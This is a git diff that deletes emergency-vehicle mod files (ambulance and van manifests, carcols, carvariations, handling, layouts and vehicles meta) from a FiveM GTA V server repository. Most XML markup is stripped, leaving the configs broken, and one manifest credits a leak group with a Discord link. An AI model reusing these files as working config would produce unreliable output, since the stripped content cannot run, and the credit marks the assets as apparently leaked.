DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - code3trailer - code3trailer2 - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/__resource.lua b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/__resource.lua deleted file mode 100644 index fdc8dfb3a..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/__resource.lua +++ /dev/null @@ -1,17 +0,0 @@ -resource_manifest_version '77731fab-63ca-442c-a67b-abc70f28dfa5' - --- Leaked By: Leaking Hub | Joshua Y. | https://discord.gg/aXWXXst - -files { - 'vehicles.meta', - 'carvariations.meta', - 'carcols.meta', - 'handling.meta', - 'vehiclelayouts.meta', -} - -data_file 'HANDLING_FILE' 'handling.meta' -data_file 'VEHICLE_METADATA_FILE' 'vehicles.meta' -data_file 'CARCOLS_FILE' 'carcols.meta' -data_file 'VEHICLE_VARIATION_FILE' 'carvariations.meta' -data_file 'VEHICLE_LAYOUTS_FILE' 'vehiclelayouts.meta' diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/carcols.meta deleted file mode 100644 index 0f5d7be7d..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/carcols.meta +++ /dev/null @@ -1,758 +0,0 @@ - - - - - - - - e450ambo - - - - - - - VehicleLight_sirenlight - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/carvariations.meta deleted file mode 100644 index 1f79491d6..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/carvariations.meta +++ /dev/null @@ -1,526 +0,0 @@ - - - - - - e450ambo - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 157_massacaro2_modkit - - - - - - - - - - pd2 - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 157_massacaro2_modkit - - - - - - - - - - pd5 - - - - 430 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 157_massacaro2_modkit - - - - - - - - - - pd4 - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 157_massacaro2_modkit - - - - - - - - - - pd3 - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 134 - 134 - 156 - 156 - - - - - - - - - - - - - - - 157_massacaro2_modkit - - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/handling.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/handling.meta deleted file mode 100644 index 9fe90e8d5..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/handling.meta +++ /dev/null @@ -1,63 +0,0 @@ - - - - - - e450ambo - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 224048 - 0 - 0 - AVERAGE - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/vehiclelayouts.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/vehiclelayouts.meta deleted file mode 100644 index 3a36c4d2c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/vehiclelayouts.meta +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - REDNECK_AMBO_RIGHT - - - clipset@veh@common@car@ps - CommonVarClipSet - - - - - - - ENTRY_REDNECK_AMBULANCE_REAR_RIGHT_1 - - - clipset@veh@prison_bus@rps1@enter_exit - EntryVarClipSet - - - - - - - EXIT_REDNECK_AMBULANCE_FRONT_RIGHT - - - clipset@veh@van@granger@ps@enter_exit - ExitVarClipSet - - - - - - - - - - ENTRY_POINT_ECOLINE_REAR_LEFT - door_pside_r - - handle_pside_r - REAR_LEFT - SIDE_REAR - - - - - - - - - - - - - ENTRY_POINT_ANIM_ECOLINE_REDNECK_REAR_RIGHT - - - - - - - - - ENTER_VEHICLE_STD - - - - - - UseVehicleRelativeEntryPosition DontCloseDoorInside DontCloseDoorOutside NavigateToWarpEntryPoint - - - - - - - - LAYOUT_ECOLINE - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - StreamAnims UseVanOpenDoorBlendParams UseDoorOscillation UseLeanSteerAnims UseLowerDoorBlockTest - - busted_vehicle_van - - - - - - clipset@veh@van@ds@idle_a - clipset@veh@van@ds@idle_b - clipset@veh@van@ds@idle_c - clipset@veh@van@ds@idle_d - clipset@veh@van@ds@idle_e - - - clipset@veh@van@ds@hit_wheel@idle_a - clipset@veh@van@ds@hit_wheel@idle_b - clipset@veh@van@ds@hit_wheel@idle_c - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/vehicles.meta deleted file mode 100644 index cb641017c..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/e450ambo/vehicles.meta +++ /dev/null @@ -1,134 +0,0 @@ - - - vehshare - - - - e450ambo - e450ambo - e450ambo - e450ambo - - null - null - null - null - - null - AMBULANCE - LAYOUT_FIRETRUCK - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 1500.000000 - 3000.000000 - 7000.000000 - 14000.000000 - 50000.000000 - 50000.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_ATTACH_TRAILER_ON_HIGHWAY FLAG_ATTACH_TRAILER_IN_CITY FLAG_HAS_LIVERY FLAG_EXTRAS_STRONG FLAG_EXTRAS_RARE FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_HAS_INTERIOR_EXTRAS FLAG_DONT_SPAWN_AS_AMBIENT FLAG_DONT_SPAWN_IN_CARGEN FLAG_NO_RESPRAY - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_CAVALCADE - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - traffictrailer - trailersmall - - - - - EXTRA_10 - - - - - - EXTRA_10 - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/ambint_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/ambint_1.png deleted file mode 100644 index 0380aa7a3..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/ambint_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/ambint_2.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/ambint_2.png deleted file mode 100644 index 26316e084..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/ambint_2.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_1.png deleted file mode 100644 index 886e44b91..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_2.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_2.png deleted file mode 100644 index ccd77d97c..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_2.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_3.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_3.png deleted file mode 100644 index 52f4a8940..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_3.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_4.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_4.png deleted file mode 100644 index 7ae3104d3..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_4.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/ambint_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/ambint_1.png deleted file mode 100644 index 9e65aa8c6..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/ambint_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/temp1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/temp1.png deleted file mode 100644 index 52fdcd36b..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/temp1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/temp2.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/temp2.png deleted file mode 100644 index f4c4f130e..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/temp2.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/window_temp_ambo.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/window_temp_ambo.png deleted file mode 100644 index 8056b9c4d..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/window_temp_ambo.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/carcols.meta deleted file mode 100644 index 5b5618da3..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/carcols.meta +++ /dev/null @@ -1,1625 +0,0 @@ - - - - - - f450ambo - - - - - - - VehicleLight_sirenlight - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 93427_f450ambo_modkit - - MKT_STANDARD - - - f450ambo_horn1 - f450ambo_horn1 - - - VMT_BONNET - chassis - chassis - VMCP_DEFAULT - - - - - - - - f450ambo_horn2 - f450ambo_horn2 - - - VMT_BONNET - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambosp_1 - ambosp_1 - - - VMT_CHASSIS4 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambosp_2 - ambosp_2 - - - VMT_CHASSIS4 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambosp_3 - ambosp_3 - - - VMT_CHASSIS4 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambosp_4 - ambosp_4 - - - VMT_CHASSIS4 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambosp_5 - ambosp_5 - - - VMT_CHASSIS4 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambosp_6 - ambosp_6 - - - VMT_CHASSIS4 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambosp_7 - ambosp_7 - - - VMT_CHASSIS4 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambosp_8 - ambosp_8 - - - VMT_CHASSIS4 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambosp_9 - ambosp_9 - - - VMT_CHASSIS4 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_plug2 - ambo_plug2 - - - misc_p - - VMT_INTERIOR5 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_plug3 - ambo_plug3 - - - misc_p - - VMT_INTERIOR5 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_plug4 - ambo_plug4 - - - misc_p - - VMT_INTERIOR5 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_plug5 - ambo_plug5 - - - misc_p - - VMT_INTERIOR5 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_plug6 - ambo_plug6 - - - misc_p - - VMT_INTERIOR5 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_cen1 - ambo_cen1 - - - misc_w - - VMT_INTERIOR4 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_cen2 - ambo_cen2 - - - misc_w - - VMT_INTERIOR4 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_cen3 - ambo_cen3 - - - misc_w - - VMT_INTERIOR4 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_ant1 - ambo_ant1 - - - VMT_WING_L - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_ant2 - ambo_ant2 - - - VMT_WING_L - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_ant3 - ambo_ant3 - - - VMT_WING_L - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_fsider - ambo_fsider - - - extra_4 - - VMT_STEERING - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_seats1 - ambo_seats1 - - - misc_h - - VMT_SEATS - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_seats2 - ambo_seats2 - - - misc_h - - VMT_SEATS - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_seats3 - ambo_seats3 - - - misc_h - - VMT_SEATS - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_seats4 - ambo_seats4 - - - misc_h - - VMT_SEATS - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_seats5 - ambo_seats5 - - - misc_h - - VMT_SEATS - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_seats6 - ambo_seats6 - - - misc_h - - VMT_SEATS - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_seats7 - ambo_seats7 - - - misc_h - - VMT_SEATS - chassis - chassis - VMCP_DEFAULT - - - - - - - - f450ambo_rearop2 - f450ambo_rearop2 - - - misc_o - - VMT_SKIRT - chassis - chassis - VMCP_DEFAULT - - - - - - - - amno_in_2 - amno_in_2 - - - misc_m - - VMT_ENGINEBAY2 - chassis - chassis - VMCP_DEFAULT - - - - - - - - amno_in_3 - amno_in_3 - - - misc_m - - VMT_ENGINEBAY2 - chassis - chassis - VMCP_DEFAULT - - - - - - - - amno_in_4 - amno_in_4 - - - misc_m - - VMT_ENGINEBAY2 - chassis - chassis - VMCP_DEFAULT - - - - - - - - f450ambo_laptop2 - f450ambo_laptop2 - - - extra_7 - - VMT_INTERIOR2 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_dell1 - ambo_dell1 - - - extra_7 - - VMT_INTERIOR2 - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_dell2 - ambo_dell2 - - - extra_7 - - VMT_INTERIOR2 - chassis - chassis - VMCP_DEFAULT - - - - - - - - f450ambo_f550 - f450ambo_f550 - - - misc_f - - VMT_DOOR_L - chassis - chassis - VMCP_DEFAULT - - - - - - - - ambo_sp2 - ambo_sp2 - - - extra_6 - - VMT_ENGINEBAY3 - chassis - chassis - VMCP_DEFAULT - - - - - - - - f450ambo_cfrontbumper - f450ambo_cfrontbumper - - - bumper_f - - VMT_BUMPER_F - bumper_f - bumper_f - VMCP_DEFAULT - - - - - - - - f450ambo_b2 - f450ambo_b2 - - - bumper_f - - VMT_BUMPER_F - bumper_f - bumper_f - VMCP_DEFAULT - - - - - - - - f450ambo_b3 - f450ambo_b3 - - - bumper_f - - VMT_BUMPER_F - bumper_f - bumper_f - VMCP_DEFAULT - - - - - - - - f450ambo_opticom - f450ambo_opticom - - - VMT_BUMPER_R - chassis - chassis - VMCP_DEFAULT - - - - - - - - f450ambo_dashcam - f450ambo_dashcam - - - VMT_INTERIOR3 - chassis - chassis - VMCP_DEFAULT - - - - - - - - runningboards_f450ambo - runningboards_f450ambo - - - VMT_CHASSIS3 - chassis - chassis - VMCP_DEFAULT - - - - - - - - f450ambo_cgrill - f450ambo_cgrill - - - misc_g - - VMT_GRILL - chassis - chassis - VMCP_DEFAULT - - - - - - - - f450ambo_lfturnsig - f450ambo_lfturnsig - - f450ambo_rfturnsig - - - wing_lf - wing_rf - - VMT_SPOILER - door_dside_f - chassis - VMCP_DEFAULT - - - - - - - - f450ambo_xltb - f450ambo_xltb - - f450ambo_xltscreen - - - misc_x - misc_z - - VMT_INTERIOR1 - chassis - chassis - VMCP_DEFAULT - - - - - - - - - - f450ambo_rfturnsig - door_pside_f - - - - f450ambo_xltscreen - chassis - - - - - - - VMT_SKIRT - Rear Box Option1 - - - VMT_SPOILER - Tow Mirrors - - - VMT_BONNET - Horns - - - VMT_WING_L - Antennas - - - VMT_INTERIOR2 - Laptops - - - VMT_INTERIOR4 - Siren Controller - - - VMT_BUMPER_R - Opticom - - - VMT_DOOR_L - Kussmaul Plug - - - VMT_STEERING - Guide Poles - - - VMT_ENGINEBAY2 - Interior Colors - - - VMT_ENGINEBAY3 - Solar Panels - - - VMT_CHASSIS3 - Side Steps - - - VMT_CHASSIS4 - Siren Speakers - - - VMT_DOOR_L - Badge - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/carvariations.meta deleted file mode 100644 index f7ce35752..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/carvariations.meta +++ /dev/null @@ -1,110 +0,0 @@ - - - - - - f450ambo - - - - 111 - 0 - 1 - 156 - - - - - - - - - - - - - - - 111 - 0 - 1 - 156 - - - - - - - - - - - - - - - 111 - 0 - 1 - 156 - - - - - - - - - - - - - - - 111 - 0 - 1 - 156 - - - - - - - - - - - - - - - 111 - 0 - 1 - 156 - - - - - - - - - - - - - - - 93427_f450ambo_modkit - - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/vehicles.meta deleted file mode 100644 index 981a77661..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/vehicles.meta +++ /dev/null @@ -1,134 +0,0 @@ - - - vehshare - - - - f450ambo - f450ambo - AMBULANCE - f450ambo - - null - null - misc_rear - misc_rear - - null - AMBULANCE - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 1500.000000 - 3000.000000 - 7000.000000 - 14000.000000 - 50000.000000 - 50000.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_ATTACH_TRAILER_ON_HIGHWAY FLAG_ATTACH_TRAILER_IN_CITY FLAG_HAS_LIVERY FLAG_EXTRAS_STRONG FLAG_EXTRAS_RARE FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_HAS_INTERIOR_EXTRAS FLAG_DONT_SPAWN_AS_AMBIENT FLAG_DONT_SPAWN_IN_CARGEN FLAG_NO_RESPRAY - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_TAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - traffictrailer - trailersmall - - - - - EXTRA_5 - - - - - - EXTRA_5 - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/23sprint_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/23sprint_sign_1.png deleted file mode 100644 index d31a2ca3c..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/23sprint_sign_1.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/Binder_Glitchcraft.dds b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/Binder_Glitchcraft.dds deleted file mode 100644 index 490470551..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/Binder_Glitchcraft.dds and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/GlitchCraft_Window.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/GlitchCraft_Window.png deleted file mode 100644 index 3add01635..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/GlitchCraft_Window.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/Lights_Template_Glitchcraft.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/Lights_Template_Glitchcraft.png deleted file mode 100644 index 725f292e1..000000000 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/Lights_Template_Glitchcraft.png and /dev/null differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/carcols.meta deleted file mode 100644 index 031f695f4..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/carcols.meta +++ /dev/null @@ -1,756 +0,0 @@ - - - - - - gcVan - - - - - - - VehicleLight_sirenlight - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 